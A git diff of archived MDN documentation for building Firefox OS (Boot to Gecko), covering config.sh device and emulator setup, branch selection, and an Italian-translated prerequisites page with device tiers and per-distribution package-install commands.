+ <strong>Note: Configuring and building B2G for Keon on a Mac DOESN'T WORK</strong>. You'll need to use Linux when building for this device.</div>
+<div class="note">
+ <strong>Note</strong>: If for any reason you want to build against a specific version of Gecko, see {{anch("Building against a custom Gecko")}} before you proceed. If you want to build a branch other than the the default for your device (for example, to build a specific version of B2G), see {{anch("Building a branch")}}. Note: the default branch varies by device and is <strong>not necessarily trunk</strong>.</div>
+<p>This would be a good time for a coffee break, since at this point, you'll be doing your first pull of all the code needed to build Boot to Gecko. Running the device config step as indicated below can take a long time; you may stop it with Ctrl-C and restart it at a later time. If you think some part of the process may have been terminated without completing, run './repo sync' to repair any possible problems.</p>
+<h3 id="Configuring_the_B2G_build_for_a_mobile_device">Configuring the B2G build for a mobile device</h3>
+<p>At this point, connect your device if it is not already connected; the configure process will need to access it.</p>
+<p>If your device was listed in the results shown above, you can start the configure process by running <code>config.sh</code> again, this time specifying your device's name. For example, to build for the Samsung Google Nexus S, you would type:</p>
+<pre>./config.sh nexus-s
+</pre>
+<div class="note">
+ <strong>Note:</strong> If you get an error message like <code>fatal: manifest 'nexus-s.xml' not available</code>, chances are that you simply have to specify the branch you want to use. See {{anch("Building a branch")}} for details.</div>
+<div class="note">
+ <strong>Note</strong>: If the config step fails with an error message like <code>error: manifest required for this command -- please run init</code>, then changes are that the manifest file for the repo (located at <code>B2G/.repo/manifest.xml</code>) wasn't created successfully. You should try running <code>config.sh</code> again. If you are doing this for a new device you could add it to <code>config.sh</code> and then hand it your local manifest file like so:<br>
+ <code>./config.sh &lt;device&gt; -m path/to/manifest.</code></div>
+<p>Near the start of the configuration you might need to set the option for color usage, then after this the process continues. You can just select 'y' here, as you probably want a color build.</p>
+<h3 id="Configuring_a_build_using_a_system_backup">Configuring a build using a system backup</h3>
+<p>If your phone no longer has Android on it, and your B2G tree doesn't have the binary blobs in it, but you wisely <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Backup_the_phone_system_partition">made a backup of the <code>/system</code> partition</a>, you can perform the build on the system backup like this:</p>
+<pre>ANDROIDFS_DIR=&lt;absolute path to parent dir of system dir&gt; ./config.sh &lt;target&gt;
+</pre>
+<p>The build system will default to looking in someplace like <code>backup-inari/system</code> (depending on the device configuration); if you place the files in the expected place you won't need to specify the directory.</p>
+<p>Note that if your phone always had Firefox OS on it to begin with and never ran Android, it's still fine to pull the <code>/system</code> partition per the above directions — this will give you the right files.</p>
+<h3 id="Configuring_the_B2G_build_for_an_emulator">Configuring the B2G build for an emulator</h3>
+<p>If you want to build an emulator rather than on a real phone, you can specify <code>emulator</code> to get the ARM device emulator, or <code>emulator-x86</code> to build the x86 emulator. The latter is faster but not as accurate a representation of an actual mobile device and not as well supported; using it is not advised.</p>
+<p>So, to build the ARM emulator, you would use the following command:</p>
+<pre>./config.sh emulator
+</pre>
+<p>Near the start of the configuration you might need to set the option for color usage, then after this the process continues. You can just select 'y' here, as you probabaly want a color build.</p>
+<p>By this point you should be ready to <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">start the build</a>, unless you need any of the more advanced information detailed below.</p>
+<p>Beware that building for the emulator may fail on 64-bit Linux.</p>
+<div class="note">
+ <strong>Note:</strong> Developers on Mac OS X 10.9 or above have to switch to emulator-jb or emulator-kk instead, because AOSP ICS based emulator can't be built on Mac OS X 10.9. See <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X" title="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Requirements_for_Mac_OS_X">Requirements for Mac OS X</a> for further information.</div>
+<h2 id="Building_against_a_custom_Gecko">Building against a custom Gecko</h2>
+<p>There may be times that you want or need to build Boot to Gecko based on a different version of Gecko than the one that's used by default (as specified in the manifest). You can do so by editing the file <code>.userconfig</code>. For example, if you want to build against mozilla-central:</p>
+<pre>export GECKO_PATH=/path/to/mozilla-central
+export GECKO_OBJDIR=/path/to/mozilla-central/objdir-gonk
+</pre>
+<div class="note">
+ <p><strong>Note</strong>: if building against a custom Gecko in Mac OS X, the mozilla-central directory must be in a case sensitive file system.<br>
+   </p>
+</div>
+<p id="Building_a_branch">Note that you can do this either before you pull the repository (i.e. before the <code>config.sh</code> step above) or at any later point.  You can also keep multiple builds (with debugging on or not, etc) by having multiple userconfig files (with different settings--each needs a different OBJDIR, of course) and making .userconfig a symlink that points to whichever config you want to build at the moment.</p>
+<p>For more information, read <a class="vt-p" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_Gecko_source_tree">Changing the Gecko source tree</a>.</p>
+<h2 id="Building_a_branch_2">Building a branch</h2>
+<p>If you want to build for a branch other than the default branch (<strong>note: the default branch may not be "master"!</strong>), you will need to prefix your call to config.sh with a branch name, like this:</p>
+<pre>BRANCH=branch-name ./config.sh &lt;device&gt;</pre>
+<p>The branch names are pretty logical, and largely follow the names of the products/versions, so <code>v1-train</code>, <code>v1.0.0</code>, <code>v1.0.1</code>, <code>v1.1</code>, <code>v1.1.0hd</code>, <code>v1.2, v1.3, v1.4</code>  and so on into the future. As an example, to build B2G Firefox 1.2, for the Arm emulator, you'd enter</p>
+<pre>BRANCH=v1.2 ./config.sh emulator</pre>
+<p>If you have run config.sh already, you can see the names of the branches, by going to <code>B2G/.repo/manifests</code> and doing "<code>git branch -a</code>" (this isn't populated unti then.) <strong>The branch name is given as the final token on the line, e.g. "<code>v1-train</code>" or "<code>master</code>"</strong>:</p>
+<pre>  remotes/origin/master
+  remotes/origin/v1-train
+  remotes/origin/v1.0.0
+  remotes/origin/v1.0.1</pre>
+<p>See <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a> for additional customizations you can do.</p>
+<h2 id="Copying_your_B2G_tree_to_a_new_machine">Copying your B2G tree to a new machine</h2>
+<p>If you've previously set up the B2G tree and then gotten a new computer (lucky you!), you'll find your life will be much easier if you simply migrate your entire B2G tree from your old computer to your new one, rather than setting the whole thing up again. To do that, mount your old computer's drive onto your new computer, then do this:</p>
+<pre>rsync -a <em>source</em>/ <em>dest</em>/
+</pre>
+<p>Where <code>source</code> is the full path (including the trailing slash) of the source tree, and <code>dest</code> is where you want to put it (the trailing slash is also important!).</p>
+<div class="note">
+ <strong>Note:</strong> If you copy the files from a computer with another platform ensure to run '<em>./build.sh clean'</em> before you start the build process. If you don't do this you might encounter compilation issues.</div>
+<p>If you do this, you can skip all of the rest of this article and move right on to <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">building</a>.</p>
+<h2 id="Updating_your_B2G_tree">Updating your B2G tree</h2>
+<p>When the repository is updated to a newer version of B2G, you'll want to update your B2G tree. To do this, you can run the following commands:</p>
+<pre>git fetch origin
+git checkout origin/master</pre>
+<p>You can check that these worked correctly by running:</p>
+<pre>git show HEAD</pre>
+<p>and checking that the commit shown matches the latest commit shown at: <a class="vt-p" href="https://github.com/mozilla-b2g/B2G/commits/master" title="https://github.com/mozilla-b2g/B2G/commits/master">https://github.com/mozilla-b2g/B2G/commits/master</a></p>
diff --git a/files/it/archive/b2g_os/prerequisiti_firefox_os_build/index.html b/files/it/archive/b2g_os/prerequisiti_firefox_os_build/index.html
new file mode 100644
index 0000000000..b2b35ee9df
--- /dev/null
+++ b/files/it/archive/b2g_os/prerequisiti_firefox_os_build/index.html
@@ -0,0 +1,455 @@
+---
+title: Prerequisiti Firefox OS build
+slug: Archive/B2G_OS/Prerequisiti_Firefox_OS_build
+translation_of: Archive/B2G_OS/B2G_OS_build_prerequisites
+---
+<div class="summary">
+ <p><span class="seoSummary">Prima di ottnere il codice per compilare Firefox OS, ti serve un <a href="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions" title="https://developer.mozilla.org/en-US/docs/Developer_Guide/Build_Instructions">sistema di build</a> ben configurato<span class="seoSummary"> — questa pagina ti mostra come fare. Attualmente, è possibile compilare su sistemi Linux e OS X a 64-bit.</span> </span></p>
+</div>
+<div class="note">
+ <p><strong>Nota</strong>: Per compilare Firefox OS su un telefono, comincia tenendo il tuo telefono DISCONNESSO dal computer. Ti diremo quando collegarlo.</p>
+</div>
+<h2 id="Avere_un_dispositivoemulatore_compatibile">Avere un dispositivo/emulatore compatibile</h2>
+<p>Hai bisogno di un dispositivo compatibile, su cui compilare, oppure utilizzando un emulatore. Difficilmente supportiamo alcuni telefoni, alcuni necessitano di molte variazioni. Al momento supportiamo delle variazioni specifiche e alcuni dispositivi sono costantemente supportati.</p>
+<div class="note">
+ <p><strong>Note</strong>:  Il<a href="https://github.com/mozilla-b2g/B2G"> codice sorgente B2G</a> della Mozilla è l'implementazione di referenza di B2G, ma i rivenditori di telefoni sono liberi di aggiungere ulteriori patch o apportare modifiche. Quando compri l'Alcatel One Touch per esempio, questo contiene la versione del rivenditore. Ciò non significa che faccia differenza per le applicazioni installate, ma può esserlo a livello di piattaforma. Il porting sul Nexus 4 è mantenuto direttamente da Mozilla; è evidentemente molto più semplice lavorare sulla nostra versione di Gecko, rispetto alle altre.</p>
+</div>
+<h3 id="Set_1">Set 1</h3>
+<p>Il Set numero 1 rappresenta l'obbiettivo principale di sviluppo ed è tipicamente il primo a ricevere bug-fix e funzionalità.</p>
+<dl>
+ <dt>
+  Keon</dt>
+ <dd>
+  Il Keon è il <a href="http://www.geeksphone.com/" title="http://www.geeksphone.com/">Geeksphone</a> Keon , fù uno dei primi telefoni per sviluppatori.Nota che le build per questo telefono sono rilasciate dalla Geeksphone.</dd>
+ <dt>
+  Inari</dt>
+ <dd>
+  Inari è un'altro dispositivo per testare. Usa qusta configurazione per build-are sui dispositivi ZTE Open.<strong>Attenzione:</strong> le build più nuove di Firefox OS potrebbero avere problemi  con il boot sulla partizione di default dei ZTE Open.</dd>
+ <dt>
+  Flame</dt>
+ <dd>
+  Il Flame è il nuovo telefono standard di referenza della Mozilla;doversti usare la configurazione del Flame se stai build-ando per il ZTE Open C,entrambi sono basati sul sistema Android Jellybean.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">Emulatore (ARM e x86)</a></dt>
+ <dd>
+  Ci sono due emulatori disponibili: uno emula il codice ARM ,l'altro esegue tutto in codice x86. <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">Impara di più suill'installazione ed utilizzo degli emulatori</a>.</dd>
+ <dd>
+  <strong>Nota bene che non dovresti utilizzare l'emulatore x86 </strong><strong>— è difficile da installare e non è ben supportato.</strong></dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">Desktop</a></dt>
+ <dd>
+  Puoi anche build-are una versione di Firefox OS per desktop; questa esegue  <a href="/en-US/docs/Mozilla/Gecko" title="/en-US/docs/Mozilla/Gecko">Gecko</a> in applicazione <a href="/en-US/docs/XULRunner" title="/en-US/docs/XULRunner">XULRunner</a> , e successivamente usi l'esperienza utente di  <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia">Gaia</a> ,dentro.</dd>
+</dl>
+<p>Puoi ,ovviamente , build-are il <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">client </a><a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_desktop_client">desktop</a> oppure uno degli <a href="/en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators" title="en-US/docs/Mozilla/Firefox_OS/Using_the_B2G_emulators">emulatori</a> senza un telefono.</p>
+<h3 id="Set_2">Set 2</h3>
+<p><span id="answer_long1" style="display: block;">I dispositivi del Set numero 2,sono funzionanti nella norma e molti sviluppatori (in particolare i sviluppatori di app) li utilizzano ,di conseguenza tendono ad accogliere i cambiamenti in secondo piano.</span></p>
+<dl>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S" title="/en-US/docs/Mozilla/Firefox_OS/Samsung_Nexus_S"><span class="link-https">Samsung Nexus S</span></a></dt>
+ <dd>
+  I modelli del Nexus S,di cui si è a conoscenza del loro funzionamento ,sono il GT-I9020A e il GTI9023.Gli altri potrebbero funzionare.</dd>
+ <dt>
+  Samsung Nexus S 4G</dt>
+ <dd>
+  Il SPH-D720 è supprtato come dispositivo del Set 2.</dd>
+</dl>
+<h3 id="Set_3">Set 3</h3>
+<p><span id="answer_long1" style="display: block;">Firefox Os può essere preparato per questi dispositivi ,ma non hanno funzionato perfettamente su regolari basi degli sviluppatori principali. La loro affidabilità e le loro funzionalità potreggo avere delle latenze,facilemnte avvertibili,più dei dispositivi del Set 1 e del Set 2 .</span></p>
+<dl>
+ <dt>
+  Samsung Galaxy S2</dt>
+ <dd>
+  L'unico modello cu sui funziona è il i9100; nessun'altra versione funziona officialmente. (Il i9100P potrebbe funzionare, dato che l'unica cosa che differisce è l'aggiunta di un chip NFC)</dd>
+ <dt>
+  Samsung Galaxy Nexus</dt>
+ <dd>
+  Non siamo a conoscenza di eventuali varianti non compatibili.</dd>
+ <dt>
+  Nexus 4</dt>
+ <dd>
+  Alcuni utenti sull'IRC lo hanno testato con successo. Potrebbe o no,richiedere il re-flash di Android 4.3 se prima aveva Android 4.4 ( Android <a href="https://developers.google.com/android/nexus/images#occamjwr66y">build disponibili da Google </a>)</dd>
+ <dt>
+  Nexus 5</dt>
+ <dd>
+  Alcuni utenti sull'IRC lo hanno testato con successo.</dd>
+ <dt>
+  Tara</dt>
+ <dd>
+  Tara è un'altro dipsositivo per testare.Il Manifest del  Tara è presente solo nel branch master. Lo script/comando pre ottenere il codice è  "BRANCH=master ./config.sh tara".</dd>
+ <dt>
+  Unagi</dt>
+ <dd>
+  Unagi è un dispositivo utilizzato per il test e svilupo della piattaforma come smartphone di fascia basso-media. Molti degli sviluppatori di Firefox OS ,lavorano sul Unagi.</dd>
+ <dt>
+  <a href="/en-US/docs/Mozilla/Firefox_OS/Pandaboard" title="/en-US/docs/Mozilla/Firefox_OS/Pandaboard">Pandaboard</a></dt>
+ <dd>
+  La Pandaboard è una board di sviluppo basata sull'architettura OMAP 4,utilizzato per sviluppare su piattaforme mobili.</dd>
+</dl>
+<div class="warning">
+ <strong>Important</strong>e: Solo i dispositivi con almeno Android 4 sono supportati.Se iltuo dispositivo è presente nella lista ma ha un versione di Android più vecchia, serve prima aggiornarlo prima di fare qualsiasi cosa.</div>
+<div class="note">
+ <p><strong>Appunto:</strong> I dispositivi dei Set 2 e Set 3 ,hanno il tasto Home software anzichè hardware.</p>
+ <p>Tutti i dispositivi del Set 1 hanno un pulsante Home hardware che permette all'utente di tornare alla schermata di Home. Molti dispositivi basati su Android ICS,hanno i pulsanti sullo schermo  per la navigzione. Ora a<span style="line-height: 1.5em; font-size: 14px;">bbiamo un pulsante virtuale per i dispositivi senza pulsante hardware.Se non è già attivo automaticamente ,vai su Impostazioni,poi su  <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings">Opzioni Sviluppatore</a> ,e dopo  <a href="/en-US/Firefox_OS/Debugging/Developer_settings#Enable_software_home_button">Abilita il tasto home</a> .</span></p>
+ <p><span style="line-height: 1.5em; font-size: 14px;">Nella versione 1.4 c'è anche un'opzione per "Home gesture abilitate",attivandole verrà rimosso il pulsante sullo schermo in favore dello swipe dal basso verso l'alto per tornare alla home.</span></p>
+</div>
+<h2 id="Requisiti_per_GNULinux">Requisiti per GNU/Linux</h2>
+<p>Per fare la build su linux, avrai bisogno:</p>
+<ul>
+ <li>Una distribuzione a  <strong>64 bit GNU/Linux</strong> (Ubuntu 12.04 raccomandata).</li>
+ <li>Almeno <strong>4 GB</strong> di RAM.</li>
+ <li>Almeno  <strong>30 GB</strong> di spazio disponibile sull'hard disk.</li>
+</ul>
+<p>Questo è molto più dei reali requisiti minimi,ma ogni tanto il build-ing fallisce solo per la mancanza di risosrse. Un tipico errore in questo caso è "<span style="line-height: 1.5;"><strong>arm-linux-androideabi-g++: Internal error: Killed (program cc1plus)</strong>".</span></p>
+<p>Avrai bisogno anche dei seguenti strumenti installati</p>
+<ul>
+ <li><strong>autoconf 2.13</strong></li>
+ <li><strong>bison</strong></li>
+ <li><strong>bzip2</strong></li>
+ <li><strong>ccache</strong></li>
+ <li><strong>curl</strong></li>
+ <li><strong>flex</strong></li>
+ <li><strong>gawk</strong></li>
+ <li><strong>git</strong></li>
+ <li><strong>gcc / g++ / g++-multilib</strong></li>
+ <li><strong>make</strong></li>
+ <li><strong>OpenGL shared libraries</strong></li>
+ <li><strong>patch</strong></li>
+ <li><strong>X11 headers</strong></li>
+ <li><strong>32-bit ncurses</strong></li>
+ <li><strong>32-bit zlib</strong></li>
+</ul>
+<h3 id="Problemi_della_build_per_emulatore"><strong>Problemi della build per emulatore</strong></h3>
+<p>Se stai facendo una build per <strong>emulatore</strong> , you need to pay attention to these issues:</p>
+<div class="note">
+ <p><strong>First, note that you shouldn't use the x86 emulator — it is hard to install and not well supported.</strong></p>
+</div>
+<p>Next, the build-system for the emulator builds both 32bit and 64bit versions of the emulator. As the emulator depends on OpenGL, this means that you need to have both 32bit and 64bit versions of OpenGL libraries installed on your system. See the discussion in <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=897727" title="https://bugzilla.mozilla.org/show_bug.cgi?id=897727">bug 897727</a>.</p>
+<p>There are two ways that you can solve this problem:</p>
+<h4 id="Solution_1_have_both_32bit_and_64bit_OpenGL_libs_installed_with_the_right_symlinks">Solution #1: have both 32bit and 64bit OpenGL libs installed, with the right symlinks</h4>
+<p>If your linux distro has multilib packages for OpenGL libraries, you can attempt installing them. You might then have to manually create some symlinks.</p>
+<p>For example, here is the situation on Ubuntu 12.04 LTS x86-64. On this distribution, the <code>libgl1-mesa-dev</code> package cannot be installed simultaneously in x86-64 and i386 versions, but you can have the following combination of packages simultaneously installed:</p>
+<pre class="bz_comment_text" id="comment_text_12">sudo apt-get install libgl1-mesa-dev libglapi-mesa:i386 libgl1-mesa-glx:i386</pre>
+<p>After having run this command, you will still have to manually create some symlinks for the emulator build to succeed:</p>
+<pre class="note">sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
+sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so</pre>
+<h4 id="Solution_2_just_patch_the_emulator_so_it_only_builds_64bit">Solution #2: just patch the emulator so it only builds 64bit</h4>
+<p>Just apply <a href="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280" title="https://bug897727.bugzilla.mozilla.org/attachment.cgi?id=786280">this patch</a> to the sdk/ git repository under the B2G repo. This will cause the B2G emulator to only attempt to build the 64bit emulator if you're on a 64bit system, thus avoiding any multilib issues. The 32bit emulator is unused anyway on a 64bit system. This is the simplest solution, until this patch eventually bit-rots.</p>
+<h3 id="64_bit_requirement_installation">64 bit requirement installation</h3>
+<p>This section lists the commands you need to run in different Linux distributions to install all the requirements for building Firefox OS.</p>
+<h4 id="Ubuntu_12.04_Linux_Mint_13_Debian_6">Ubuntu 12.04 / Linux Mint 13 / Debian 6</h4>
+<p>Run the following command in Terminal:</p>
+<pre>sudo apt-get update
+sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
+<p>If you'll build for the <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developer_phone_guide/Flame">"Flame"</a> reference device or Nexus 5, run the following command in Terminal:</p>
+<pre>sudo apt-get install libxml2-utils </pre>
+<p>And see the above comments about emulator build issues!</p>
+<h4 id="Ubuntu_12.10">Ubuntu 12.10</h4>
+<p>Run the following command in Terminal:</p>
+<pre>sudo apt-get install autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev libgl1-mesa-dev libx11-dev make zip</pre>
+<p>In addition to the emulator build issues discussed above, the compiler will default to <code>gcc-4.7</code>, which will fail to build with an error along the following lines:</p>
+<p>"<code>KeyedVector.h:193:31: error: indexOfKey was not declared in this scope, and no declarations were found by argument-dependent lookup at the point of instantiation"</code></p>
+<p>To fix this, you will need to specify GCC 4.6 as the default host compiler after having retrieved the B2G sources: Read <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</p>
+<p class="note">In a fresh Ubuntu 12.10 install, you'll get an error about unmet dependencies for ia32-libs. The following commands fix it:</p>
+<pre>sudo dpkg --add-architecture i386
+sudo apt-get update
+sudo apt-get install ia32-libs</pre>
+<h4 id="Ubuntu_13.04">Ubuntu 13.04</h4>
+<p>Run the following command in Terminal:</p>
+<pre>sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git ia32-libs lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip</pre>
+<p>In addition to the emulator build issues discussed above, the compiler will default to <code>gcc-4.7</code>, which will fail to build with an error along the following lines:</p>
+<p>"<code>KeyedVector.h:193:31: error: indexOfKey was not declared in this scope, and no declarations were found by argument-dependent lookup at the point of instantiation"</code></p>
+<p>To fix this, you will need to specify GCC 4.6 as the default host compiler after having retrieved the B2G sources: Read <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</p>
+<h4 id="Ubuntu_13.10">Ubuntu 13.10</h4>
+<p>With Ubuntu 13.10, multi-arch packages are now the main way to support multiple architectures (e.g. 32-bit on a 64-bit install).  You must tell your Ubuntu system that you want to support 32-bit packages as well:<br>
+  </p>
+<pre>sudo dpkg --add-architecture i386
+sudo apt-get update</pre>
+<p>Once you've completed that, then you can install the necessary packages:</p>
+<pre style="font-family: 'Open Sans', sans-serif; line-height: 21px;">sudo apt-get install --no-install-recommends autoconf2.13 bison bzip2 ccache curl flex gawk gcc g++ g++-multilib gcc-4.6 g++-4.6 g++-4.6-multilib git lib32ncurses5-dev lib32z1-dev zlib1g:amd64 zlib1g-dev:amd64 zlib1g:i386 zlib1g-dev:i386 libgl1-mesa-dev libx11-dev make zip libxml2-utils
+
+sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.6 1
+
+sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-4.8 2
+
+sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.6 1
+
+sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.8 2
+
+sudo update-alternatives --set gcc "/usr/bin/gcc-4.6"
+
+sudo update-alternatives --set g++ "/usr/bin/g++-4.6" </pre>
+<h4 id="Fedora_17181920"><br>
+ Fedora 17/18/19/20</h4>
+<p>Run the following command in Terminal:</p>
+<pre class="note">sudo yum install autoconf213 bison bzip2 ccache curl flex gawk gcc-c++ git glibc-devel glibc-static libstdc++-static libX11-devel make mesa-libGL-devel ncurses-devel patch zlib-devel ncurses-devel.i686 readline-devel.i686 zlib-devel.i686 libX11-devel.i686 mesa-libGL-devel.i686 glibc-devel.i686 libstdc++.i686 libXrandr.i686 zip perl-Digest-SHA wget</pre>
+<p>In addition to the above you will need GCC 4.6.x in order to compile the project:</p>
+<ul>
+ <li><a href="http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc18.tar.xz">Pre-compiled GCC 4.6.x for  Fedora 17/18</a></li>
+ <li><a href="http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc19.tar.xz">Pre-compiled GCC 4.6.x for Fedora 19/20</a></li>
+</ul>
+<p>Download the right version for your Fedora installation, then install it to <code>/opt,</code> with the following command on Fedora 17/18:</p>
+<pre class="note">curl -O http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc18.tar.xz
+sudo tar -x -a -C /opt -f gcc-4.6.4-fc18.tar.xz
+</pre>
+<p>And with the following command for Fedora 19/20:</p>
+<pre class="note">curl -O http://people.mozilla.org/~gsvelto/gcc-4.6.4-fc19.tar.xz
+sudo tar -x -a -C /opt -f gcc-4.6.4-fc19.tar.xz
+</pre>
+<p>You will need to specify GCC 4.6.x as the default host compiler after having retrieved the B2G sources: Read <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file#Changing_the_default_host_compiler">Changing the default host compiler</a> to find out how to do it.</p>
+<p>If build fails with the compiler complaining about not finding libmpc.so.2, install the package compat-libmpc</p>
+<h4 id="Arch_Linux"><strong>Arch Linux</strong></h4>
+<p>Run the following command in Terminal:</p>
+<pre class="note">sudo <span style=""><span style="">pacman -S --needed </span></span><span style=""><span style="">alsa-lib </span></span><span style=""><span style="">autoconf2.13</span></span><span style=""><span style=""> bison</span></span><span style=""><span style=""> ccache</span></span><span style=""><span style=""> </span></span><span style=""><span style="">curl firefox </span></span><span style=""><span style="">flex </span></span><span style=""><span style="">gcc-multilib </span></span><span style=""><span style="">git </span></span><span style=""><span style="">gperf </span></span><span style=""><span style="">libnotify </span></span><span style=""><span style="">libxt </span></span><span style=""><span style="">libx11 mesa multilib-devel </span></span><span style=""><span style="">wget wireless_tools </span></span><span style=""><span style="">yasm</span></span><span style=""><span style=""> zip </span></span><span style=""><span style="">lib32-mesa </span></span>lib32-mesa-libgl <span style=""><span style="">lib32-ncurses lib32-readline</span></span><span style=""><span style=""> </span></span><span style=""><span style="">lib32-zlib</span></span></pre>
+<p>To install the lib32-* packages you need to have the multilib repository enabled.</p>
+<p>B2G <a href="https://developer.mozilla.org/en-US/Firefox_OS/Building#KeyedVector.h.3A193.3A31.3A_error.3A_indexOfKey_was_not_declared_in_this_scope">can only be compiled with gcc4.6.4</a>, and because Arch Linux always has bleeding edge software you will need to install <a href="https://aur.archlinux.org/packages/gcc46-multilib">gcc46-multilib from AUR</a>. Note that you will have to edit the PKGBUILD and add <code>staticlibs</code> to the <code>options</code> array, or gcc will be unable to compile B2G and give you a <code>cannot find -lgcc</code> error when compiling. You will also need to add the following to your <code>.userconfig</code> file:</p>
+<pre class="language-html">export CC=gcc-4.6.4
+export CXX=g++-4.6.4</pre>
+<p>By default, Arch Linux uses Python3. You'll have to force it to use the old python2. You can do that by linking the python2 executable to python but this is discouraged and considered error-prone. This will also break python 3 if it is installed on your system. A better way is to use <code>virtualenv</code>/<code>virtualenvwrapper</code>:</p>
+<pre><span style=""><span style="">sudo pacman -S python-virtualenvwrapper
+</span></span>source /usr/bin/virtualenvwrapper.sh
+mkvirtualenv -p `which python2` firefoxos
+workon firefoxos
+</pre>
+<p>Android will complain that you need make 3.81 or make 3.82 instead of 4.0. You can download <a href="https://aur.archlinux.org/packages/make-3.81/">make 3.81 from AUR</a>.  This will install the make-3.81 binary on your path, you need to create a symlink named make to a location earlier in the PATH variable for the build to use the correct version.</p>
+<pre>mkdir -p ~/bin
+ln -s `which make-3.81` ~/bin/make
+export PATH=~/bin:$PATH
+</pre>
+<p>Android also needs the Java6 SDK and Arch only has Java7.  Unfortunately the aur build is broken, but you can still download the <a href="http://www.oracle.com/technetwork/java/javasebusiness/downloads/java-archive-downloads-javase6-419409.html#jdk-6u45-oth-JPR">Java 6 SDK</a> and install it manually.  You will then need to put it in your path.</p>
+<pre>cp ~/Downloads/jdk-6u45-linux-x64.bin /opt
+su
+cd /opt
+chmod +x jdk-6u45-linux-x64.bin
+./jdk-6u45-linux-x64.bin
+exit
+ln -s /opt/jdk1.6.0_45/bin/java ~/bin/java
+
+</pre>
+<h4 id="Gentoo_Linux"><strong>Gentoo Linux</strong></h4>
+<h5 id="Installing_ccache">Installing ccache</h5>
+<p>You will need to install <strong><a href="http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=3#doc_chap3">ccache</a></strong>, a tool for caching partial builds.</p>
+<pre><span style=""><span style=""># emerge -av ccache</span></span>
+</pre>
+<p>Because ccache is known to frequently cause support issues, Gentoo encourages you to use it <em>explicitly</em> and <em>sparingly</em>.</p>
+<p>To enable the required use of ccache, on <em>the subsequent step</em> of this guide where the <code>./build.sh</code> script is called, Gentoo users should instead run the command with an explicitly extended path, ie.</p>
+<pre><span style=""><span style=""><strong>PATH=/usr/lib64/ccache/bin:$PATH</strong> ./build.sh</span></span>
+</pre>
+<h5 id="Generating_Partition_Images">Generating Partition Images</h5>
+<p>If you are building B2G for actual physical hardware, then you may at some point also wish to generate some partition images for upload to your device. (For example, to restore backed up files to the device via the <strong><em>fastboot</em></strong> utility)</p>
